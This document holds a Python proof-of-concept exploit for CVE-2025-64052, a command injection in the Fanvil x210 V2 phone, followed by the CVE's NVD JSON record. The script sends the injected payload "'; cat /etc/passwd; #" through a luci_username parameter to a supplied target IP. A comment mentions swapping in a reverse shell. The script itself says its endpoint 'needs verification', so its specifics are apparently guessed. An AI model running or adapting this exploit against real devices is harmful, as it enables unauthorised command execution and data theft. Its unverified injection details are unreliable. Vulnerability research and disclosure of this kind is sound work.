CVE-2025-64052

#!/usr/bin/env python3 # CVE-2025-64052 PoC - Fanvil x210 V2 Command Injection # Author: Security Researcher # Note: For authorized security testing only import requests import sys def exploit(target_ip, target_port=80): """ Exploit CVE-2025-64052 on Fanvil x210 V2 Requires network access to the target device """ # Target endpoint (specific path needs verification) target_url = f"http://{target_ip}:{target_port}/cgi-bin/luci" # Malicious payload to inject command # Example: Execute reverse shell or read /etc/passwd cmd = "cat /etc/passwd" payload = f"'; {cmd}; #" try: # Construct exploit request params = {"luci_username": payload} response = requests.get(target_url, params=params, timeout=10) print(f"[*] Request sent to {target_url}") print(f"[*] Status code: {response.status_code}") print(f"[*] Response length: {len(response.text)}") if response.status_code == 200: print("[+] Potential command execution detected") print(response.text[:500]) else: print("[-] No response or unexpected status") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) ip = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(ip, port)

{"cve": {"id": "CVE-2025-64052", "sourceIdentifier": "[email protected]", "published": "2025-12-05T16:15:50.047", "lastModified": "2025-12-31T01:10:32.347", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Fanvil x210 V2 2.12.20 allowing unauthenticated attackers on the local network to execute arbitrary system commands."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:fanvil:x210_firmware:2.12.20:*:*:*:*:*:*:*", "matchCriteriaId": "B5339CEB-DD13-43D9-9DBB-F58EA2EDC47D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:fanvil:x210:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "826351F9-626E-4EA9-9634-9E04B462AF4A"}]}]}], "references": [{"url": "http://fanvil.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/SpikeReply/advisories/blob/main/cve/fanvil/cve-2025-64052.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}